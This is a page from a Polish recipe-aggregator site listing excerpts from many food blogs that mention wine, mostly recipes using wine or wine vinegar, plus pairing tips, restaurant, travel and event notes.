wino - 10075 przepisów (strona:525/672)

pomidora i ogórka z dressingiem z chilli i mięty Składniki:  pół melona (ok. 350g) dojrzałe pomidory (ok. 350g) pół ogórka wężowego Na dressing: 2 łyżki octu z białego wina 4 łyżki oliwy z oliwek 20 listków mięty 0,5 łyżeczki musztardy 2 łyżeczki cukru 1 czerwone chilli sól, pieprz Jak zrobić sałatkę z melona?  Przygotowanie dressingu: Wszystkie

miętą. Na początku myślałam, że nie będzie dobry dla mnie, mięta mnie " męczy", ale nie jest ona tak intensywna, praktycznie niewyczuwalna.  Mnie napój przypomina w smaku rozcieńczone białe wino, ale nie zawiera alkoholu. W smaku  jest lekko wytrawny. Mogą go spożywać także dzieci powyżej 3 roku życia, osoby z nietolerancją laktozy i na diecie bezglutenowej

Porzeczki zostały po imprezie z deską serów do wina to nie mogło być inaczej bym ich do weekendowego ciasta nie wrzuciła! Takim ekspresowym ciastem bez miksera raczyliśmy się deserowo po grillu. Jest pyszne! Kwaskowe czerwone porzeczki świetnie komponują się z lekkim i puszystym jogurtowym ciastem. Szybkie ciacho na każdą okazję jak znalazł. Można wykorzystać wszelakie inne owoce, nawet mrożone

bardzo zdrową i przede wszystkim pożywną przekąskę do pracy . Ze względu na swój niepowtarzalny smak, żurawina świetnie komponuje się także z alkoholami . Można zatem podawać ją obok serów do wina, czy obok słodkich śliwek do piwa. Dobrze  komponuje się z różnymi rodzajami mięsa. Idealne rozwiązanie na spotkania z przyjaciółmi.   Składniki odżywcze Ze względu na zawartość składników odżywczych

ciasta jeden z krążków można rozwałkować na papierze do pieczenia. Jeden z krążków posmarować dżemem wiśniowym, zostawiając niewielki margines dookoła. Przykryć drugim krążkiem ciasta. Na środku ustawić kieliszek do wina. Ciasto przeciąć promieniście w ośmiu miejscach, nie ruszając środka osłoniętego kieliszkiem. Każdą z części przeciąć pośrodku (jak na formowanie faworków). Końcówkę przełożyć przez przecięcie od spodu (patrz zdjęcie obok

pestek winogron Na sos chimi churri: 2 garście natki pietruszki 4 łodygi dymki 4 ząbki czosnku 1 łyżeczka suszonego oregano 1 mała papryczka chilli 4 łyżki octu z czerwonego wina 8-10 łyżek oliwy sól, pieprz Jak przyrządzić stek z chimi churri?  Przygotowanie sosu chimi churri: Natkę pietruszki posiekać i przełożyć do miseczki, dodać pokrojoną na cienkie plasterki

powodzeniem. To świetny pomysł na przerywnik pomiędzy daniami z grilla. Marchewka nadziewana bardzo apetycznie wygląda i doskonale smakuje. Natomiast przekąska z krakersami i serem pleśniowym to smaczny dodatek do wina. Marchewki nadziewane Składniki 3 grubsze marchewki 200 g białego serka śmietankowego 2-3 ząbki czosnku 100 g … Czytaj dalej Przekąski grillowe wersja II Artykuł Przekąski grillowe wersja

Zakładam ciepłe skarpety, opatulam się kocem, sięgam po książkę i rozgrzewam napojem kurkumowo-imbirowym. Żadne przeziębienie mi nie straszne! Na zdrowie, P.S. Alternatywą dla tego napoju może być grzane wino     Artykuł Napój kurkumowo-imbirowy pochodzi z serwisu figasmakiem.pl

wierzch. Następnie wyjąć na papierowy ręcznik, środek każdego kwiatka posypać rozgniecionym czerwonym pieprzem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Mus z koziego sera, galaretką z czerwonego wina i chipsami z buraczka → Mus z wędzonego łososia w sosie z rukoli → Mus z ryby w kremowym sosie z oscypka → Łosoś z czerwonym pieprzem, fenkułem i sosem pomarańczowo

chorobą Hashimoto. Partnerami XVI  edycji Warsztatów z Gwiazdą byli: debiutująca na organizowanych przez portal All About Life eventach marka Devaldano (producent grzybów i przetworów), spółka TiM SA (dystrybutor wina Le Grand Noir), laureaci kategorii żywność zakończonego niedawno plebiscytu Influencers Top 2019 - Baziółka (świeże zioła), Okręgowa Spółdzielnia Mleczarska Krasnystaw, Stovit (przetwory owocowe) i  Cremajo (majonezy bez jajek

urokliwe z mnóstwem ciekawych uliczek i zakamarków. Warto tam po prostu zabłądzić, zajść do portu, przejść się wzdłuż wybrzeża. Tu znajdziecie też mnóstwo ciekawych restauracji czy miejsc na kieliszek wina, to też dobra baza wypadowa do zwiedzania całego rejonu. Do Rivy dopłyniecie wspominanym już przeze mnie promem, kończą one tu swoją trasę. Torbole Do odwiedzenia tej miejscowości zostaliśmy skuszeni

oliwkami, aromatyzowane czosnkiem, oregano i bazyli ą.   Prosta i szybka przekąska idealna na letnie popołudnia lub wieczory. Wspaniale komponuje sie z grillowanym pieczywem i kieliszkiem schłodzonego wina.   Polecam serdecznie, zwłaszcza, gdy za oknem upa ł  a ostatni ą  rzecz ą , o jakiej myślimy to długie  gotowanie;) **** Oggi voglio proporVi

napisała, szczęście dla niej to: “ spacer po parku z siostrą (…) słuchanie, jak deszcz bębni po dachu, gdy z kubkiem herbaty w dłoni siedzę przytulona do mojego chłopaka smakowanie wina w ogrodzie mojej mamy kawa z przyjaciółmi (…)” Oczywiście, nie małym atutem tej pozycji jest nie tylko wizja szczęścia opisana, sfotografowana, ale i ugotowana! Autorka znalazła miejsce w swojej

Przy okazji moje dzieci zjadły Pecorino Romano "z ręki". To wyjątkowy ser. Kiedy zamykam oczy widzę konkretne miejsca, konkretne gospodarstwa agroturystyczne we Włoszech, konkretne posiłki , czuję niemal zawsze czerwone wino w ustach, a w głowie szumi tylko morze. Wszystkie składniki położyłam na waflach. Ledwo zdążyłam zrobić zdjęcia. Ledwo zdążyłam złapać za wafla.  Krew nie kłamie. Moje córki

najciekawszy. Można jeszcze ubarwić imprezę dodając do niej inne atrakcje. Mnie szczególnie wpadły w oko (jako, że lubię kulinarne atrakcje): kasyno degustacyjne, selfie coffee czy różnego typu degustacje. Degustacje wina, piwa czy whiskey nie są nowością, ale degustacja alkoholi z 4 kontynentów (Azja, Europa, Ameryka Południowa i Afryka) brzmi bardzo ciekawie i interesująco. Okazuje się też, że jeśli podczas

wierzch. Następnie wyjąć na papierowy ręcznik, środek każdego kwiatka posypać rozgniecionym czerwonym pieprzem. Smacznego (adsbygoogle = window.adsbygoogle || []).push({}); To też może Cię zainteresować: → Mus z koziego sera, galaretką z czerwonego wina i chipsami z buraczka → Mus z wędzonego łososia w sosie z rukoli → Mus z ryby w kremowym sosie z oscypka → Łosoś z czerwonym pieprzem, fenkułem i sosem pomarańczowo

prostu szczęście! Dzieci, nastolatkowie umierający na raka, to jakiś koszmar! Koszmar dla rodziców, dla przyjaciół, koszmar dla nich samych. To jest tak cholernie niesprawiedliwe.. Obejrzyjcie film "Gwiazd naszych wina" i podzielcie się ze mną swoimi spostrzeżeniami. A! I dajcie znać, czy również uroniliście łezkę. Na pochwałę zasługuje świetna gra aktorska dwojga ludzi: Ansel Elgort oraz Shailene Woodley

kupić, wiecie takiej w szklanych butelkach ale pięknie wpasowała się tutaj oranżada Helena Imprezy były suto zakrapiane alkoholem. I u nas tego nie zabrakło. Królowała domowa cytrynówka , bimber i wina z domowej spiżarki. PRL zawitał nie tylko w salonie, gdzie Goście bawili się przy muzyce z tamtych lat (tutaj macie playlistę ) ale również w zakamarki mieszkania. Nie obyło się

kucharzy. Kulinarne imprezy tematyczne to najczęściej: kuchnia włoska kuchnia tajska kuchnia polska kuchnia hiszpańska kuchnia indyjska dania sezonowe tematyka świąteczna Dodatkowo warsztaty można połączyć z degustacją piwa lub degustacją wina . Zalety warsztatów kulinarnych jako imprezy integracyjnej: doskonalenie umiejętności pracy w zespole nauka komunikacji i współpracy budowanie oraz ocieplenie relacji między pracownikami nauka nowych umiejętności kulinarnych okazja do poznania kuchni

kucharzy. Kulinarne imprezy tematyczne to najczęściej: kuchnia włoska kuchnia tajska kuchnia polska kuchnia hiszpańska kuchnia indyjska dania sezonowe tematyka świąteczna Dodatkowo warsztaty można połączyć z degustacją piwa lub degustacją wina . Zalety warsztatów kulinarnych jako imprezy integracyjnej: doskonalenie umiejętności pracy w zespole nauka komunikacji i współpracy budowanie oraz ocieplenie relacji między pracownikami nauka nowych umiejętności kulinarnych okazja do poznania kuchni

czekoladą podkręcone chili oraz puddingiem chia powinno zdać egzamin. Wojtek dodałby mu nawet więcej ostrości. Podczas naszej degustacji nie było jeszcze festiwalowego drinka, ale kelner zaproponował mi bardzo dobre wino. Warto podkreślić świetną jakość produktów, o dobór których dba szef kuchni. To naprawdę uroczy człowiek, który jeszcze niejednokrotnie zaskoczy gości swoim kulinarnym talentem. Cieszę się, że postanowili dołączyć

dobrze oblepiony sosem. Jeśli nie znajdziecie tego konkretnego makaronu, użyjcie podobnego. Ważne, aby był szeroki i miał chropowatą strukturę jak np. tagliatelle, fettuccine. Sos powstał na bazie koncentratu pomidorowego, wina i śmietanki – aksamitny, delikatny i wyjątkowo kremowy. Co ważne w tym daniu, to odpowiednie przygotowanie makaronu. Makaron ugotujcie na półtwardo w mocno osolonej wodzie. Zazwyczaj polecam gotowanie makaronu

łyżka mąki ziemniaczanej płaska 1/2 szklanki cukru trzcinowego krem budyniowy: 2 budynie czekoladowe 600 ml mleka 2 żółtka 1/2 szklanki cukru trzcinowego 400 g masła nasączenie: 1/2 szklanki wina białego 1 cytryna polewa biała: 125 g serka mascarpone 100 g czekolady białej 1/2 łyżeczki żelatyny obręcz czekoladowa, kwadraty czekoladowe: 150 g czekolady gorzkiej 2 łyżki oleju rzepakowego Biszkopt jasny

będzie pasować do aromatycznej karkówki z grilla, a jego słodki smak przełamiemy dodatkiem octu winnego :) Składniki 3 pieczone buraki 2 awokado pęczek natki pietruszki sól pieprz ocet z czerwonego wina Sałatka z buraka i awokado – przepis Możecie skorzystać z gotowych pieczonych buraków, znajdziecie je w wielu sklepach. Zaoszczędzicie sporo czasu. Buraki kroimy w ósemki. Awokado obieramy ze skórki

plaster selera (150 g) 1/2 czerwonej papryki 1 duża cebula 5 ząbków czosnku 5 kawałków suszonych pomidorów ze słoiczka  2 łyżki oleju, np. kokosowego 1/2 szklanki białego wytrawnego wina / bulionu / wody 1/2 szklanki pestek słonecznika 1/4 szklanki oleju 4 łyżki sosu sojowego przyprawy: 2 listki laurowe, sól, świeżo zmielony czarny pieprz, po 1 łyżeczce: suszonego oregano, słodkiej

Sycylia pełna jest chaosu, hałasu klaksonów, słońca, cudownych widoków i błękitnego morza. Jest też pełna czerwonych pomarańczy, owoców morza, słodkich wypieków, pistacji, pizzy i pysznego wina. Tym ogromem rozpustnych smaków, aromatów i kolorów uzależnia, wciąga i zachwyca. Już w IV wieku p.n.e. grecki poeta Archestratus Read More Artykuł Posmakować Sycylię – czyli przewodnik kulinarny po Palermo pochodzi z serwisu

Mąka/makarony Mąka pełnoziarnista 2,5 zł Makaron ryżowy 250 g 6 zł Drożdże 7 g 1 zł Przyprawy: Sos sojowy jasny i ciemny Wino biale, wytrawne Ocet winny Oregano Papryczka chilli Kolendra nasiona Papryka wędzona Olej Oliwa Sól Pieprz Razem: 147 zł Artykuł Menu na tydzień: Podróż dookoła świata za 140 zł pochodzi z serwisu Niedzielny kucharz

schabu.   Wyłączyłam piekarnik i zostawiłam w nim mięso do wystudzenia. Ponieważ szkoda marnować dobrej podstawy do sosu. Sos spod mięsa zlałam do garnka, dodałam 0,5 szklanki czerwonego wina, łyżkę ostrej musztardy i całość gotowałam na mały ogniu, aż płyn odparował prawie do połowy. Tak powstał sos którym chętni na talerzu mogli polać schab.   Schab ten też

boczek, a następnie piec około 10 minut w temperaturze 180 st. Celsjusza. Można polać je roztopioną czekoladą lub jeśli czas pozwoli, przygotować specjalny sos z dodatkiem żurawiny i wina. Prawda, że banalnie proste? Te pyszne, szybkie przekąski wyczarujecie w dosłownie kilka chwil! Znajomi na pewno będą zadowoleni i miło zaskoczeni kiedy zaserwujecie im takie przysmaki A więc? Kto się

całym świecie. To największe kulinarne wydarzenie w Polsce i okazja do spróbowania dań 50 najlepszych kucharzy w Polsce! I to wszystko w 1 miejscu. 25 dań dziennie, degustacje wina np. Monte de Ravasqueira i piwa Grimbergen oraz warsztaty i pokazy kulinarne. Gotować będą szefowie kuchni z najlepszych restauracji w całej Polsce, zwyciężczynie Masterchefa, celebryci jak David Gaboriaud czy Andrzej

dużych ziemniaków 200 g polędwicy wieprzowej Sos: 2 łyżeczki sosu sriracha 2 łyżeczki sosu sojowego 1 łyżeczka miodu 1 łyżeczka sosu sojowego 1 łyżeczka octu z białego wina (adsbygoogle = window.adsbygoogle || []).push({}); Polędwiczki i ziemniaczki w orientalnym sosie wykonanie: Składniki na sos podgrzewamy w rondelku do momentu aż wszystko się połączy. W połowie sosu marynujemy polędwicę. Ziemniaki myjemy (nie obieramy

szklanki kaszy jęczmiennej 300 - 500 ml bulionu Sos: 2 łyżeczki sosu sriracha 2 łyżeczki sosu sojowego 1 łyżeczka miodu 1 łyżeczka sosu sojowego 1 łyżeczka octu z białego wina (adsbygoogle = window.adsbygoogle || []).push({}); Ostry kurczak z kaszą i warzywami wykonanie: Składniki na sos podgrzewamy w rondelku aż do połączenia się składników. Kurczaka kroimy w cząstki, zalewamy zimnym już sosem

prostym sosem pomidorowym z mięsem i papryką. Celowo nie piszę, że jest to bolognese, ponieważ do oryginału mu daleko. W oryginalnym spaghetti bolognese znaleźć by się musiało m.in. wino czy też odpowiedni rodzaj mięsa i naprawdę długi czas przygotowania sosu. Dzisiejsza wersja jest, to taki mój prosty sposób na pyszny sos do spaghetti, który spokojnie przygotujecie w domu

czosnku opcja: 100 g filetów anchois z puszki posiekanych 100 g czarnych oliwek, bez pestek, posiekanych na talarki 2-3 łyżki octu balsamicznego, octu sherry lub octu z białego wina przyprawy: lubczyk, oregano, słodka i ostra papryka, sól, pieprz oliwa PRZYGOTOWANIE: Połówki kroję na paski, cukinię w talarki, cebulę na cztery, czosnek siekam drobno. W dużym garnku rozgrzewam oliwę

szparagów, dokładnie mieszamy. Całość dekorujemy pozostałymi główkami szparagów,  oprószamy startym parmezanem i czarnym pieprzem. Makaron podajemy od razu po przygotowaniu najlepiej z kieliszkiem schłodzonego białego wina. **** PREPARAZIONE Iniziate pulendo gli asparagi, eliminate le parti bianche dei gambi e le parti esterne più dure. L avateli bene e cuoceteli a vapore per circa 5-10 minuti

krem fiołkowy: 250 g mascarpone 350 ml śmietany kremówki 36 % 1 łyżeczka żelatyny 150 g czekolady białej 1/2 porcji syropu fiołkowego /200 ml około/ nasączenie: 1 cytryna 125 ml wina 80 ml wody dekoracja: fiołki orzeszki w czekoladzie Puder fiołkowy/ płatki fiołków ułożone na blaszce na papierze do pieczenia posmarowane białkiem i posypane cukrem/ Wstawiam do piekarnika temp

mieszamy. Makaron wykładamy na talerz. Na wierzchu układamy kawałki kurczaka i cukinii Posypujemy groszkiem i oliwkami. Całość skrapiamy oliwą z oliwek. Do pełni szczęścia brakuje tylko dobrego sera i wina! Alla salute

dodać makaron i wymieszać. Na koniec dodać główki szparagów oraz kawałki wędzonego łososi. Podgrzewać jeszcze chwilę razem. Na koniec posypać pokrojonymi listkami świeżej bazylii. Podawać np. z kieliszkiem białego wina. Artykuł Makaron z wędzonym łososiem i szparagami pochodzi z serwisu Pasja Smaku

dodatkiem do kanapek. Ponieważ świetnie się topi sprawdza się jako ser do pizzy, lazanii, zapiekanek i innych ciepłych dań. Moniecka gouda doskonale komponuje się także z białym i różowym winem. Gouda - najpopularniejszy ser na świecie

Składniki:   2 marchewki 1 pietruszka kawałek selera kawałek pora 1 cebula 300 g boczniaków 3 łyżki oleju roślinnego 3-4 ząbki czosnku 1 kawałek imbiru wielkości korka od wina łyżka suszonej słodkiej papryki łyżka majeranku 4 liście laurowe 6 ziaren ziela angielskiego 1/2 gałki muszkatołowej lub 1/2 łyżeczki zmielonej sól, pieprz ew. sos sojowy do smaku

spędzamy go w plenerze czy w domu zawsze przygotowuję najróżniejsze przekąski. Podstawą u nas są dobrej jakości sery. Idealne by podać je od tak do lamki dobrego wina (deska z serami to tzw. „must have” każdego przyjęcia) lub by przygotować z ich udziałem najróżniejsze przekąski i inne smaczne potrawy. Decydując się na deskę serów pamiętajcie

jest kawa - zabija głód i dodaje energii. W trakcie dnia staraj się nie pić alkoholu. Niestety powoduje, że nie spalasz swojego tłuszczu. Wieczorem możesz pozwolić sobie na czerwone, wytrawne wino czy szklaneczkę whisky - to wszystko. ;) W trakcie urlopu zalecam także długie spacery, które pomogą w spalaniu kalorii. Jeśli jesteś fanem siłowni przynajmniej 3 razy podczas 7 dniowego urlopu wybierz

Szwecji zamiast wołowiny dodaje się kiełbaski „falukorv”, w Brazylii dodaje się do niego słodką śmietankę, w Japonii podawany jest z ryżem, a we Francji dodaje się do Strogonowa białe wino oraz wędzoną paprykę. (adsbygoogle = window.adsbygoogle || []).push({}); Boeuf Stroganow – Składniki: ok. 600 g wołowiny (oryginalnie polędwica wołowa, ale może być też rostbef, ligawa, łopatka lub udziec) 500 ml bulionu

miejsce w klimacie boho! Nie znajdziemy tam eleganckich restauracji, w których kelnerzy w białych rękawiczkach będę podawać Ci do stołu ( nakrytego wykrochmalonym białym obrusem! ) ostrygi, a Ty będziesz popijać wino w lśniących, kryształowych kieliszkach – i dobrze! Bo tego kompletnie nie chciałabym tu znaleźć! Centrum Dahabu rozkochało mnie już od pierwszej chwili – uwielbiam taki klimat! Fajnie jest siąść

danie to idealna propozycja na obiad, który z łatwością przygotujesz w 20 minut. Makaron ze szparagami świetnie sprawdzi się również, jako pomysł na kolację z przyjaciółmi wzbogaconą kieliszkiem białego wina. Post Makaron tagliatelle z zielonymi szparagami i szynką parmeńską pojawił się poraz pierwszy w Magazyn kulinarny Codogara

Łosoś pieczony z sosem z suszonych pomidorów.     Składniki dla 2 osób: 300 g filetu z łososia 1 kawałek imbiru wielkości korka od wina 2 ząbki czosnku 1/2 papryczki chilli 3 łyżki oliwy z oliwek 1/2 cytryny sól Sos: 2 ząbki czosnku 2 łyżki oliwy z oliwek 6-8 kawałków suszonych pomidorów

Pomysł na tą pieczeń zaczerpnęłam od Ewy Wachowicz. Tak przygotowana pieczeń jest soczysta, krucha, aromatyczna. Zachęcam do przygotowania na świąteczny stół. Cielęcina pieczona w winie. ROZWIŃ I CZYTAJ DALEJ

przegrały :) Składniki: 500g krewetek romiar 6/8 (nam się udało kupić oczyszczone, bez głowy, z częścią pancerzyka) papryczka chilli garść posiekanej natki z pietruszki garść świeżej kolendry chlust białego wytrawnego wina chlust oliwy kilka łyżek masła sól do smaku Piekliśmy je w temperaturze 200 stopni przez mniej więcej 20 minut. Być może odrobinę dłużej. W połowie pieczenia odwróciłam krewetki

super przekąską podczas posiadówki ze znajomymi, hitem rodzinnej imprezy lub po prostu drugim śniadaniem czy obiadem do pracy. Dla mnie akurat była pyszną kolacją, którą zjadłam do lampki czerwonego wina. Sałatka z kurczakiem i grzankami smakuje najlepiej, kiedy jest zrobiona na świeżo i polana sosem tuż przed podaniem – wtedy wszystkie składniki będą jędrne. Mam nadzieję, że sałatka zadowoli

białej surowej kiełbasy i ciasno zawinąć. Każdą roladkę owinąć sznurkiem spożywczym. Zrazy obtoczyć w mące i obsmażyć z wszystkich stron na oleju z oliwek. Obsmażone zrazy zalać szklanką białego wina. Po odparowaniu alkoholu przełożyć zrazy do szybkowaru, zalać wrzątkiem ( do połowy objętości szybkowaru ) i gotować przez 15 minut. Pozostawić w szybkowarze, nie otwierając go aż do wystygnięcia. Ugotować groszek

taki sam słój (no dobrze mam inne karteczki) w prezencie   Jak widzicie na stronie MyGiftDNA.pl znajdziecie idealny prezent na urodziny dla każdego. Polecam Wam też piękne zestawy do wina . Sama mam jeden, a drugi podarowałam kiedyś koleżance na 30 urodziny. Praktyczny i piękny prezent

oraz „Gwiazdy prywatnie” w TVN STYLE. Zawsze uśmiechnięta, pogodna, wesoła z mnóstwem pomysłów. Z jej bloga oraz kanału na YT dowiecie się jak zrobić pranie, jak dobrać kieliszek do wina, jak zorganizować sobie przestrzeń by była dla ciebie inspiracją i pomocą a nie przytłaczającą rzeczywistością, ale także jak szybko i sprawnie posprzątać łazienkę czy do czego używać sody oczyszczonej

zastąpiłem wędzoną papryką, jej smak podkreślają suszone pomidory. Zamieniłem czerwone mięso wołowe na indyka, którego mięso z udźca, doskonale się do tej potrawy nadaje. A czerwone … czerwone to polecam wino które, dodatkowo wypełni smak tej potrawy.         Składniki: 600 gram udźca z indyka papryka czerwona, żółta i zielona 2 cebule 3 ząbki czosnku 2 pomidory

migdałów) 50 g gorzkiej czekolady 100 g syropu klonowego albo daktylowego albo z agawy 50 ml oliwy z oliwek 2 łyżeczki octu jabłkowego można zastąpić octem z białego wina 100 ml mleka kokosowego opcjonalnie 250 g mąki u mnie orkiszowa typ 1000 2 łyżeczki proszku do pieczenia szczypta soli 100 ml wody gazowanej POLEWA 100 g gorzkiej czekolady Instructions

dużą ilością przypraw. To propozycja na śniadanie, kolację, przekąskę, smakują na ciepło i zimno. Posypane cheddarem lub/i fetą, wytrawne, udekorowane świeżą natką lub rukolą – idealne do czerwonego wina! Tartaletki z indykiem, oliwkami i dynią SKŁADNIKI na 12 sztuk: ciasto francuskie 275 g kilka łyżek farszu mięsnego z tego przepisu tarty cheddar i pokruszona feta do posypania PRZYGOTOWANIE: Ciasto

Domowe nalewki, likiery czy wina zawsze cieszyły się popularnością. Wielu moich znajomych nie raz pytało mnie jak zrobić taki likier. Przyznam Wam szczerze, że robię je dość rzadko. Najczęściej przygotowuje je na jakieś święta, urodziny lub w prezencie. Wówczas sięgam po szklane butelki dekoracyjne. Duży wybór takich butelek znajdziecie na stronie https://www.stukpuk.pl/hobby/wyrob-trunkow-i-nalewek/butelki  Znajdziecie tam butelki dosłownie

obsmażyć cebulę. Jak już jest miękka dodać pokrojone ząbki czosnku i pokrojone pomidory. Smażyć jeszcze chwilkę aż pomidory zmiękną. Dodać przecier pomidorowy, paprykę słodką i ostrą, wymieszać. Wlać wino, wywar i gotować aż nadmiar płynu wyparuje. Musi powstać gęsta papka. Następnie wszystko zmiksować za pomocą thermomixu lub malaksera. Przygotowanie żeberek – na patelni rozgrzać olej i obsmażyć żeberka

mąki 1 jajko od Eko Wital 1 łyżka oliwy z oliwek EKO WITAL borowiki 150 gramów z Runoland śmietana 30 lub 36 % 200 ml z OSM KRASNYSTAW 50 ml wina białego wytrawnego lub półwytrawnego pieprz czarny świeżo młotkowany sól świeży tymianek, gałązka, od Baziółka świeża pietruszka – 20-30 listków na porcję od Baziółka W pierwszej kolejności zagniatamy makaron

mgnieniu. Doskonałe przetwory owocowe zagwarantowała firma Stovit, świeże zioła od Baziółka nadały potrawom niepowtarzalny smak, pyszne, nie zawierające cukru słodycze m.in. chałwa i batony Nelka dodawały energii, a wina z Winnicy Dwórzno dodatkowo poprawiały i tak świetne nastroje uczestników. Dzięki obecności na warsztatach firmy Home&You mogliśmy też podpatrzeć w jaki sposób pięknie zaaranżować stół wielkanocny. Ogromnym zainteresowaniem

Te danie to tak po prołwdzie1 je kura ze suszōnymi2 tōmatami i prawdziwkōma, ale wiadōmo, że te miana3 za duge być niy mogōm, a u [...] Artykuł

delikatnie połącz z serkiem mascarpone. Zaparz kawę, ostudź i dodaj amaretto lub likier kawowy. Biszkopty maczaj w kawie i układaj na dnie małych pucharków ( u mnie kiliszki na wino), przełóż masą mascarpone i pokrojonymi drobno pistacjami. Następnie ułóż kolejną warstwę biszkoptów wcześniej maczanych w kawie wyłóż serek mascarpone posyp kakao. Na koniec ułóż kolejną warstwę i udekoruj wierzch pokrojonymi

Całość dokładnie mieszamy do połączenia si ę  wszystkich składników, podduszamy na małym ogniu ok. 1 minuty. Makaron podajemy od razu po przygotowaniu najlepiej z kieliszkiem schłodzonego białego wina. **** PREPARAZIONE Come prima cosa tagliate lo speck e il radicchio a listarelle. Cuocete la pastina  in abbondante acqua bollente, salata. Nel frattempo in una casseruola riscaldate

rozgniecionych 500 ml passaty pomidorowej 300 g pomidorków cherry, przeciętych na połówki garść oliwek, pokrojonych w plasterki olej roślinny 100 ml płynnego miodu 100 ml octu z czerwonego wina 1 łyżeczka czosnku granulowanego 1 łyżeczka wędzonej papryki 1 łyżeczka mielonego chilli 1/2 łyżeczki ziół prowansalskich sos sojowy, sól, pieprz, do smaku Przygotowanie: W dużej i głębokiej patelni rozgrzej

blasze jako próba dla sprawdzenia temperatury w piecu chlebowym. Ja bardzo lubię ten wypiek jako dodatek do zup i sałatek. Świetnie smakują również jako przekąska do piwa czy wina albo do deski serów (zobacz poradnik Jak przygotować deskę serów ). PRZEPIS NA PODPŁOMYKI Z SOLĄ I KUMINEM Składniki na podpłomyki z sola i kuminem (ok 5-6 szt): ciasto: 500g

gratin z pieczoną szalotką. Bogusi burger…co ja Wam będę mówił, wyobrazicie sobie 200 g grillowanej wołowiny, chrupiący boczek, lokalny oscypek. Do tego kieliszek dobrego wina, piękny widok za oknem, nic więcej do szczęścia nie potrzeba. Na deser miejsca zabrakło, chociaż domowy sernik czy fondant czekoladowy spoglądał z karty

musiał z tym żyć. To jest jego kara, którą musi ponieść za to co zrobił. Dobrze, ze w końcu uświadamia sobie, że ważna jest miłość, rodzina, przyjaźń i odkupienie win... Według mnie jest to bardzo ciekawa część serii. Stanowi dopełnienie poprzednich i jest bardzo emocjonująca. Nie wyobrażam sobie tego, że jej nie ma. Daje dużo do myślenia i wiele

lodach, wystudzić, wstawić do lodówki lub zamrażalnika, aby szybciej stężała. Twardą galaretkę pokroić w kosteczki. Serek mascarpone wymieszać z miodem. Na dnie pucharków, kubków lub  kieliszków do wina ułożyć warstwę galaretek na wierzch warstwa serka mascarpone. Kolejno znów warstwa galaretek i mascarpone. Wierzch udekorować galaretkami i listkiem mięty

masło. Jeśli oczywiście lubi się czosnek:) Składniki : 2 ugotowane ziemniaki 5 ząbków czosnku szczypta soli 1 żółtko 100 ml oliwy z oliwek pieprz czarny 3 łyżeczki octu z białego wina, można zastąpić sokiem z cytryny Przygotowanie : Ziemniaki ugotować z łupinkach do miękkości, obrać, przecisnąć przez praskę Obrany czosnek przecisnąć przez praskę, przełożyć do głębokiej miseczki, dodać sól, żółtko

fajnie wszystkie składniki się skomponowały, wyszło pysznie, a przede wszystkim bardzo szybko. Do takiej przystawki można dodać np. podsmażane na maśle krewetki  i koniecznie postawić lampkę dobrego wytrawnego wina do popicia, będzie pysznie 😘 (function(i,s,o,g,r,a,m){i['GoogleAnalyticsObject']=r;i[r]=i[r]||function(){ (i[r].q=i[r].q||[]).push(arguments

Dzięki Thermomix do naszego menu weszło też kilka dań, czy to z „Kulinarnego ABC” platformy Cookidoo czy thermomixowych kolekcji. Prawie każde spotkanie przy winie musi być okraszone Chlebkiem ziołowym. Dzieciaki uwielbiają placki ziemniaczane i kluski leniwe. A na leniwy niedzielny obiad wybieramy karkówkę po karkonosku Jak widać nawet szef kuchni

zostawiamy „do odpoczęcia”. Później rwiemy mięso na kawałki za pomocą widelców. * po porwaniu mięsa na kawałki, warto podsmażyć je bez tłuszczu na patelni z dodatkiem czerwonego wina. Smacznego! Przepis inspirowany na przepisie Malwiny z bloga Filozofia Smaku. Artykuł Pulled pork – szarpana wieprzowina pochodzi z serwisu Just Be Fit Be Strong

najszybciej jest zrobić na obiad? Oczywiście, że zupę! Przynajmniej dla mnie i przyznam się Wam, że czasem są to naprawdę zupy żartobliwie określane mianem "na winie", czyli co się nawinie pod rękę, to do gara. Często trudno zebrać mi wszystko w sensowny przepis, dlatego na blogu nie ma aż tak wiele zup. Chociaż...ich ilość i tak jest całkiem

oleju 3 cebule 2 pomarańcze czerwone 1/2 pęczka natki pietruszki 2 łyżeczki oregano olej roślinny ulubiony – np olej lniany lub rzepakowy 1/4 szkl octu winnego z białego wina Jak zrobić śledzie śledzie z pomarańczami czerwonymi: Jeśli używamy śledzi solonych, zalewamy je zimną wodą i zostawiamy do namoczenia na jakieś 2-3 godziny, sprawdzając czy ich smak już nam odpowiada

kucharskimi, testuje przepisy, a w międzyczasie namiętnie robi sobie lunche. CAROLINE CRAIG dorastała w Londynie; studiowała antropologię na uniwersytecie w Durham. Rodzina jej mamy zajmuje się sadownictwem i produkcją wina w Prowansji. Dzieciństwo spędziła na podjadaniu uprawianych przy domu czarnych trufli, karczochów, pomidorów i brzoskwiń, nie miała  więc wielkiego wyboru: siłą rzeczy jej życie kręci się wokół pysznego

kcal w 100 g ma niski indeks glikemiczny i jest wskazana dla diabetyków Większość moich przepisów zawiera CEBULĘ 😉 1) PLACKI CEBULOWE Z SERKA WIEJSKIEGO 2) KREM CEBULOWY NA BIAŁYM WINIE 3) ZUPA CEBULOWA Z KIEŁBASĄ

gorąco, prawie wcale nie chce się jeść. Wczoraj na kolację, zrobiliśmy sobie taką oto prostą i przepyszną sałatę. Do tego szklaneczka schłodzonego wina lub piwa i jest radość ;) Składniki: mieszanka sałat i rukoli kilka plastrów szynki parmeńskiej pomidor kilka zielonych oliwek kilka ząbków czosnku oliwa z oliwek sól pieprz opcjonalnie: grana padano (lub inny twardy ser) / ser wegański / płatki

temat. Składniki: 200 g zmielonych migdałów 1 jajko (jeśli nie jecie jajek, myślę, że uda się bez) kandyzowana skórka z pomarańczy (ja miałam zamrożona skórkę, którą dusiłam w białym winie z cukrem trzcinowym) łyżeczka bezglutenowego proszku do pieczenia 3 łyżki syropu klonowego/ z agawy/miodu 3 łyżki oliwy z prażonych orzechów (może być masło lub inny tłuszcz) 3 czubate łyżki

około 1 litra bulionu  Warzywa kroimy i smażymy na odrobinie oliwy, po chwili dodajemy ryż i zalewamy bulionem. Gotujemy aż będzie miękki. Pod koniec gotowanie możemy dodać białe wino. Osobno smażymy pokrojoną w kostkę lub paski polędwicę wołową. Dodajemy ją do ryżu i warzyw. Możemy przed podaniem dodać do środka łyżkę masła i starty parmezan

